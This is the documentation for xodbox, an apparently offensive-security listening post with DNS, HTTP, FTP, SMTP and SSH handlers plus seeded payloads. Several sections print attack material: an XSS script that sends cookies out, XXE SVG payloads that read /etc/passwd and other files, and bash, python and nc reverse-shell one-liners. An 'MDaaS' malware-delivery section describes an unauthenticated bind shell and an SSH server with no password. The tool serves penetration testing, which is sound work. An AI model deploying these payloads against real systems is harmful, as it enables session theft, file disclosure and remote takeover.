xodbox
Network interaction listening post
Docs :: Releases :: Code
Purpose
Quickly determine if an application reaches out to remote network based services. Easily create custom responses to test
how applications consume data from network sources.
Features
Multiple listening protocols:
Installation
Download a release from GitHub or use Go Install:
go install github.com/defektive/xodbox@latest
Configuration
./xodbox config -e > xodbox.yaml
Handler Configuration
Configuration information for each Handler is documented alongside it’s code in the handlers directory.
Notifier Configuration
Configuration information for each Notifier is documented alongside it’s code in the notifiers directory.
Server Usage
All the magic happens through configuration files in the handlers and notifiers.
Client Usage
When a client makes a connection to xodbox, the logic to respond will be processed by a Handler. Handlers are responsible for seeding their own default data.
Quick Start Guides
Linux
This little snippet will:
- Download and extract latest release from GitHub.
- Generate a new config file.
- create the static and payload directories used by the config file.
wget -q $(wget -q -O - https://api.github.com/repos/defektive/xodbox/releases/latest | grep -o "https:.*Linux_x86_64\.tar\.gz")
tar -xzvf xodbox*.tar.gz
./xodbox config -e | sed 's/^#\(\s*\(payload\|static\)_dir\)/ \1/g' > xodbox.yaml
mkdir -p static payloads/httpx
Docker
Currently, we do not have any prebuilt Docker containers. However, you can just run a release with an Alpine container.
docker run \
--rm \
--expose 80 \
-v `pwd`:/app \
--workdir /app \
-d alpine \
./xodbox serve
Feedback
I have an issue or feature request
Sweet! Open an issue to start the conversation.
Wait… I want the old node version
Really? ok we made a tag just for you.
https://github.com/defektive/xodbox/releases/tag/legacy-nodejs
1 - Xodbox CLI
Xodbox CLI Reference
Synopsis
A network interaction listening post.
- Quickly determine if an application interacts with network services.
- Easily create custom responses to interaction requests.
Options
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
-h, --help help for xodbox
--reset-db Reset database
SEE ALSO
Auto generated by spf13/cobra on 4-Jul-2025
1.1 - Completion
Generate completion script
Synopsis
To load completions:
Bash:
source <(xodbox completion bash)
# To load completions for each session, execute once:
# Linux:
xodbox completion bash > /etc/bash_completion.d/xodbox
# macOS:
xodbox completion bash > /usr/local/etc/bash_completion.d/xodbox
Zsh:
# If shell completion is not already enabled in your environment,
# you will need to enable it. You can execute the following once:
echo "autoload -U compinit; compinit" >> ~/.zshrc
# To load completions for each session, execute once:
xodbox completion zsh > "${fpath[1]}/_xodbox"
# You will need to start a new shell for this setup to take effect.
fish:
xodbox completion fish | source
# To load completions for each session, execute once:
xodbox completion fish > ~/.config/fish/completions/xodbox.fish
PowerShell:
xodbox completion powershell | Out-String | Invoke-Expression
# To load completions for every new session, run:
xodbox completion powershell > xodbox.ps1
# and source this file from your PowerShell profile.
xodbox completion [bash|zsh|fish|powershell]
Options
-h, --help help for completion
Options inherited from parent commands
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
--reset-db Reset database
SEE ALSO
- xodbox - A network interaction listening post
Auto generated by spf13/cobra on 4-Jul-2025
1.2 - Config
generate/print config
Synopsis
generate/print config
Options
-e, --embedded Print the embedded config file
-h, --help help for config
Options inherited from parent commands
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
--reset-db Reset database
SEE ALSO
- xodbox - A network interaction listening post
Auto generated by spf13/cobra on 4-Jul-2025
1.3 - Payload
Manage payloads.
Synopsis
manage payloads.
Options
-h, --help help for payload
Options inherited from parent commands
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
--reset-db Reset database
SEE ALSO
Auto generated by spf13/cobra on 4-Jul-2025
1.4 - Payload Dump
dump payloads.
Synopsis
dump payloads.
xodbox payload dump [flags]
Options
Options inherited from parent commands
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
--reset-db Reset database
SEE ALSO
Auto generated by spf13/cobra on 4-Jul-2025
1.5 - Serve
Start xodbox server.
Synopsis
Start xodbox server.
Options
-h, --help help for serve
Options inherited from parent commands
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
--reset-db Reset database
SEE ALSO
- xodbox - A network interaction listening post
Auto generated by spf13/cobra on 4-Jul-2025
1.6 - Update
Update xodbox to latest version
Synopsis
Update or check for updates.
The default update method is to download the latest release from GitHub.
Examples
# Update to latest version
xodbox update
# Use go install to update
xodbox update -g
# Download from a specific URL
# Not sure why anyone else would need this. I use it for quickly testing builds on different machines.
xodbox update -u http://10.0.0.2:8000/dist/xodbox_darwin_arm64/xodbox
# This is typically used after I run the following:
# goreleaser release --clean --snapshot
# python -m http.server
Options
-C, --check Check for update
-f, --force Force update, even if release is not newer
-g, --go-install Use go install instead of downloading release from GitHub
-h, --help help for update
-u, --url string URL to download from (force implies)
Options inherited from parent commands
--config string Config file path (default "xodbox.yaml")
--debug Debug mode
--reset-db Reset database
SEE ALSO
- xodbox - A network interaction listening post
Auto generated by spf13/cobra on 4-Jul-2025
2 - Handlers
Interaction handlers
Handlers are services that listen on ports and respond to requests.
2.1 - DNS
DNS Handler
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Currently, this handler just returns a single IP address for every request. In the future, I’d like to be able to force specific DNS responses. Most should be possible using the subdomain. However, I think it would be easier to store records in the DB or config.
Configuration
| Key | Values |
|---|
| handler | Must be DNS |
| listener | Default :53 |
| default_ip | An IP address default will be whatever is detected as the server’s public IP. |
2.2 - FTP
FTP Handler
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Speak FTP to other computers you may or may not control. Currently only list files, but I’d like to support uploads for exfil purposes.
Configuration
| Key | Values |
|---|
| handler | Must be FTP |
| listener | Default :21 |
| server_name | Default FTP Server |
| fake_dir_tree | Default test/old/fake,test/new/fake |
Things are still being created, documented, and fine-tuned.
2.3 - HTTPX
HTTPX Handler
Purpose
Speak HTTP to other computers you may or may not control….
Configuration
| Key | Values |
|---|
| handler | Must be HTTPX |
| listener | Default :80 |
| static_dir | Directory to host static files from |
| payload_dir | Directory to import payloads from |
| acme_email | Email to use for your ACME account |
| acme_accept | A dumb way to force you to ensure you agree to the ACME provider’s (Most likely Let’s Encrypt) TOS |
| acme_url | https://acme-staging-v02.api.letsencrypt.org/directory, https://acme-v02.api.letsencrypt.org/directory, or one of these: Certmagic acmeissuer.go |
| tls_names | Your domains to get TLS certificates for comma separated. I had to do wildcards first, not sure if that was a staging or dns provider issue. |
| dns_provider | Currently, namecheap or route53 but we can support anything libdns supports… |
| dns_provider_api_user | Username for API calls. Only used for namecheap ATM. |
| dns_provider_api_key | Key for API calls. Only used for namecheap ATM. |
Filters
The entire HTTP request is used to match filters. To alert on a specific prefix the following filter would be used.
"(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"
This would match:
And would not match:
Things are still being created, documented, and fine-tuned.
New Features
Legacy Functionality to be implemented.
Legacy functionality that isnt specific to a handler
2.3.1 - Default Payloads Seeds
seed data
Default payloads that come with xodbox.
2.3.1.1 - Default Header
Adds the default header to all HTTP responses.
Adds an HTTP header to all HTTP responses.
Example Request
curl -i http://xodbox.test/
Example Response
Server: BreakfastBot/1.0.0
2.3.1.2 - Redirect
HTTP Redirects
HTTP Redirects to the query parameter l using the query param s as the status code.
| What | Description | GET Parameters |
|---|
| Location | Location to redirect to | l |
| Status | HTTP status code | s |
Example Request
curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"
Example Response
Location: https://github.com/defektive/xodbox
2.3.1.3 - Robots TXT
A restrictive robots.txt
Simple robots txt to prevent indexing.
Example Request
curl http://xodbox.test/robots.txt
Example Response
User-Agent: *
Disallow: /
2.3.1.4 - Inspect
Reflect back HTTP requests in various formats
Depends on an internal code
/inspect
Inspect or reflect the request back in various formats.
Examples
- http://localhost/inspect
- http://localhost/some/random/path/inspect.gif
2.3.1.5 - XSS HTML
Returns HTML that embeds xss-js
/jsc.html
Simple HTML to load simple JS Payload.
2.3.1.6 - XSS JavaScript
Returns JS that embeds an image back to xodbox
/jsc
Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and
exfil.
(function (){
var s = document.createElement("img");
document.body.appendChild(s);
s.src="//{{.Request.Host}}/jscb?src="+window.location+"&c="+document.cookie;
})()
2.3.1.7 - Default Favicon
Redirects to the default logo.
Redirects to the embedded default logo, exposed via embedded fs.
Example Request
curl -i http://xodbox.test/favicon.ico
2.3.1.8 - HTML Iframe
HTML page with iframe and image callback
/ht
Iframe callback
2.3.1.9 - Open Graph
Embed request params in open graph elements.
Useful for unfurlers. Maybe we should merge this into inspect…
Example Request
curl -i "http://xodbox.test/unfurl"
Example Response
Location: https://github.com/defektive/xodbox
2.3.1.10 - XXE Callback
More XXE
XXE Callback used by xxe-system
2.3.1.11 - XXE DTD
More XXE
/dt
A vulnerable application for testing is in ../../../../cmd/xodbox-validator
/evil.dtd
dtd for use by others
2.3.1.12 - XXE SVG Hostname
Returns an SVG payload with XXE to get files
/sh
attempts to get /etc/hostname
SVG with XXE payloads
2.3.1.13 - XXE SVG Passwd
Returns an SVG payload with XXE to get files
/sp
attempts to get /etc/passwd
2.3.1.14 - XXE SVG Request Params
Returns an SVG payload with XXE to get files
/sv
attempts to get whatever files is supplied via the f query parameter
2.3.1.15 - XXE System
More XXE
/dt
A vulnerable application for testing is in ../../../../cmd/xodbox-validator
2.3.1.16 - Default Page
returns a simple page if nothing is matched
Adds an HTTP header to all HTTP responses.
Example Request
curl -i http://xodbox.test/
Example Response
2.3.1.17 - In Development Seeds
These seeds are not ready for production and may never be.
Seeds that are not tested or finished.
2.3.1.17.1 - Build MDaaS
Build random binaries
2.3.1.17.2 - Bind Shell
Requires bind-shell in static dir
2.3.1.17.3 - BusyBox Reverse Shell
BusyBox Reverse Shell
List Payloads
# bash
bash -i >& /dev/tcp/10.28.0.241/9091 0>&1
0<&196;exec 196<>/dev/tcp/10.28.0.241/9091; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.28.0.241/9091 0<&1 2>&1
#python
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.28.0.241",9091));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
#busybox nc
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.28.0.241 9092 >/tmp/f
2.3.1.17.4 - Detect platform
detect platform
2.3.1.17.5 - List Payloads
List payloads
2.3.1.17.6 - Reverse Shell
Requires bind-shell in static dir
2.3.1.17.7 - Simple SSH
Simple SSH (requires build of simple ssh server in static dir)
2.3.1.17.8 - Simple SSH Service
Simple SSH Service (requires build of simple ssh server in static dir)
2.3.1.17.9 - WPAD
Returns a WPAD config file (Javascript).
WPAD Proxy. Not really useful at the moment. Should be more useful in the future
2.3.2 - Example Payloads
Examples
Default payloads that come with xodbox.
2.3.2.1 - List Payloads
List payloads
List Payloads
---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
headers:
Content-Type: text/plain
body: |
Payloads
{{ range .Payloads }}
{{ .Pattern }} - {{ .Name }} [{{ .Type }}]
{{ .Description }}
{{ end }}
---
2.4 - SMTP
SMTP Handler
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Speak SMTP to other computers you may or may not control….
Configuration
| Key | Values |
|---|
| handler | Must be SMTP |
| listener | Default :1587 |
Things are still being created, documented, and fine-tuned.
2.5 - SSH
SSH Handler
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Speak SSH to other computers you may or may not control….
Configuration
| Key | Values |
|---|
| handler | Must be SSH |
| listener | Default :22 |
Things are still being created, documented, and fine-tuned.
2.6 - TCP
TCP Handler
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Speak TCP…
Configuration
| Key | Values |
|---|
| handler | Must be TCP |
| listener | Default :9090 |
Things are still being created, documented, and fine-tuned.
3 - MDaaS
Malware Delivery as a Service
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
JIT malware compilation and delivery. Facilitate curl | bash deployments of various payloads.
Configuration
Ensure Golang is installed.
Things are still being created, documented, and fine-tuned.
3.1 - Bind Shell
Stupid Simple Bind Shell
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Bind to a port and serve a shell to clients
Configuration
None.
Current port is 4444. No auth :(.
Roadmap
Testing
Debug mode
go build -ldflags="-X main.listener=:8080 -X main.logLevel=DEBUG -X main.allowedCIDR=127.0.0.1/32" bind-shell.go
3.2 - Simple SSH Server
No password required! It’s that simple….
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
Quickly get SSH listening on a target machine.
Configuration
None.
Current port is 2222. No auth :(.
Roadmap
Testing
Debug mode
go build -ldflags="-X main.listener=:8080 -X main.logLevel=DEBUG -X main.allowedCIDR=127.0.0.1/32" simple-ssh.go
4 - Notifiers
Interaction notifiers
Notifiers are used to send notifications to external services or log interactions to the app log.
Filters
Each notifier will accept a filter configuration option. This option will be compiled into a golang regexp object. What it is executed against depends on the event it is executing against. For HTTPX events it will be the entire HTTP request. This would be a simple example of matching a specific path prefix (GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /x/.
Be sure to check each handler for mor information on what it’s event supplies for filter matching.
4.1 - App Log
Log to application log
Structured loggoing output
time=2025-02-26T14:57:03.838-07:00 level=INFO msg="InteractionEvent received" xodbox.pkg=github.com/defektive/xodbox/pkg/notifiers/app_log details="HTTPX: GET /l/face from 127.0.0.1:56407"
Configuration
| Key | Values |
|---|
| notifier | Must be app_log |
4.2 - Discord
Discord notification
Configuration
| Key | Values |
|---|
| notifier | Must be discord |
| url | Webhook URL |
| author | Username to appear in slack. (optional) d |
| author_image | Emoji code to use for user’s avatar. (optional) |
| filter | Golang regexp. |
4.3 - Slack
Slack notifications
Configuration
| Key | Values |
|---|
| notifier | Must be slack |
| url | Webhook URL |
| author | Username to appear in slack. (optional) |
| author_image | Emoji code to use for user’s avatar. (optional) |
| channel | Channel to post to, can be a user’s ID. (optional) |
| filter | Golang regexp. |
4.4 - Webhook
Generic HTTP Webhook
Post logic is used by the Slack and Discord webhooks.
5 - xodbox-validator
validate xxe payloads
Purpose
To make sure XXE payloads are executing properly.
Usage